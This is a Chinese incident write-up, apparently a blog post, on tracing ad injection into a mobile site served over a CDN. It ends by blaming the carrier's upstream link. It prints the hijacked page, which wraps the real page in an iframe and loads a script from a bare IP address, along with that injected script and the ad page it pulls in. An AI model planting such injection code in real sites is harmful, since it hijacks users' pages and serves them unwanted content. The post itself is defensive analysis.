zoukankan      html  css  js  c++  java
  • 解决一起web 页面被劫持的案例

     

     

    1. 现象

     

         江西客户手机端连接wifi打开URL,页面上显示淘宝店铺广告,使用手机移动网络打开正常,其他地区正常。

     

     

     

     二. 处理过程

    1. 初步分析:3g.club项目使用了CDN,目前只有江西异常,其他地区无异常,说明问题范围仅在江西地区,根据业务人员反馈的问题现象,以及以往类似问题处理经验,该问题原因是可能是页面某个js被污染,导致污染的原因可能是dns解析被劫持
    2. 检查江西dns对3gclub的解析情况:我们使用江西dns对3g.club进行解析,并让客户在本地ping 域名返回结果,检查解析的IP是否是云端CDN节点,发现我们解析的IP和客户ping结果均正常,节点正确,排除dns解析被劫持原因
    3. 向云端CDN技术反馈问题现象,协助排查问题
    4. 统计出现此问题的客户端类型,发现手机自带的浏览器和匀加速功能的浏览器均出现问题,排除第三方浏览器云加速导致的问题;由于江西只有一家客户,而且用的是电信网络,所以暂时定位为出现问题的均是电信用户
    5. 检查江西节点上页面文件,我们将请求江西节点返回的页面、请求北京地区返回的页面、请求内网服务器返回的页面进行比较,发现页面正常,排除了江西节点到源站之间链路原因,推测原因可能在客户移动端到节点之间链路问题
    6. 由于手机没有firbug,无法抓去页面元素,我们试着使用客户那边同局域网内的电脑访问URL,结果问题没有复现。推测可能在劫持时候对request header 里User-Agent有判断。最后使用firfox插件,修改request header里User Agent,模拟手机用户请求,问题依然无法复现
    7. 我们试着让客户在url上加了参数进行访问,发现页面正常,去掉参数之后,依然有问题。将此结果反馈给CDN技术,协助排查。发现节点缓存住了页面(默认是穿透CDN回源的),CDN技术清空缓存之后,让客户重新测试,发现问题依旧
    8. 最后我们使用博瑞移动端即使测试,复现了问题,拿到页面源码,查到原因是运营商机房去回上层有劫持,最后调整了联系CDN覆盖,问题解决,

     

     

     

    三:劫持原因分析:

     

    1.异常页面源码:

     

    <!DOCTYPE html><html><head><meta charset="UTF-8">
    <meta name="apple-mobile-web-app-capable"content="yes">
    <meta content="telephone=no"name="format-detection">
    <meta name="apple-mobile-web-app-status-bar-style"content="black-translucent">
    <meta name="viewport"content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
    <title></title>
    <style type="text/css">html,body{padding:0;margin:0}</style>
    </head><body>
    <iframe id="content"src="http://3g.club.xywy.com/static/20170307/127326432.htm?jid=1"width="100%"frameborder="no"></iframe>
    </body><script type="text/javascript"src="http://116.62.103.8/ads/adtb.js"></script>
    <script type=“text/javascript">document.getElementById("content").height=window.innerHeight;</script></html>

     

    说明:通过此段代码可以看出,用户请求http://3g.club.xywy.com/static/20170307/127326432.htm?jid=1的页面已经被替换,通过在页面中嵌入了一个iframe元素,使用src属性来请求正常页面,然后在重新生成页面,将异常广告植入到页面中

     

    2.页面异常js 分析:http://116.62.103.8/ads/adtb.js

     

    文件内容:

     

    var cript= document.createElement("script");
    var headcont=document.getElementsByTagName("head")[0];
       cript.src="http://cdn.staticfile.org/jquery/1.7/jquery.min.js";
        headcont.appendChild(cript);
    document.onready=function(){
      if($('#JDGPEOGJEO').length<1){
    $('body').append('<div id="JDGPEOGJEO" style="position: fixed;  100%;height:124px;left:0;bottom:0; z-index:9999999; "><div id="JFEOCL" style="font-size:16px; 16px; font-weight:600; height:16px; background:#D6CFCF; text-align:center; line-height:16px; color:#6DBEE8; position: absolute; right:0; top:0;">×</div><iframe id="content" src="http://ali.7676.com/wap/tanx/69910363.html" width="100%" height="124px" style="margin:0px; padding:0px;" frameborder="no" ></iframe></div>')
     $("#JFEOCL").click(function(){
      $(this).parent().remove()
     })
      }
    }

     

    说明:此js 是判断页面上是否有植入的广告,如果没有的话,则重新生成广告页面,并植入页面,js中调用的方法通过ifram src属性请求http://ali.7676.com/wap/tanx/69910363.html页面,此页面显示空白,但是内部会使用script 元素加载其他js,最后加载的w.js中有各种定义的方法,如对ua判断等

    下面的curl的结果

     

    curl http://ali.7676.com/wap/tanx/69910363.html
    <html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0" />
    <style type="text/css"> html,body{margin:0; padding:0px;}</style>
    </head><body>
    <!-- AFP两段式代码-公用代码 -->
    <script type="text/javascript" src="http://afpmm.alicdn.com/g/mm/afp-cdn/JS/w.js"></script>
     
     
    <!-- 69910363:测试 - 20170106 类型:移动网页 形式:通栏 尺寸:0x0-->
    <script type="text/javascript">
    _mmW.q({
        aid:"mm_120329371_20560783_69910363",
        serverbaseurl:"afpeng.alimama.com/"
    })
    </script>
    </body></html>

     

  • 相关阅读:
    三次请求(读-改-读)引出nibernate 一级缓存
    算法竞赛入门经典第一、二章摘记
    uva 10905 Children's Game
    uva 11205 The broken pedometer
    uva 10160 Servicing stations
    uva 208 Firetruck
    uva 167 The Sultan's Successors
    zoj 1016 Parencodings
    uva 307 Sticks
    uva 216 Getting in Line
  • 原文地址:https://www.cnblogs.com/pycode/p/6553659.html
Copyright © 2011-2022 走看看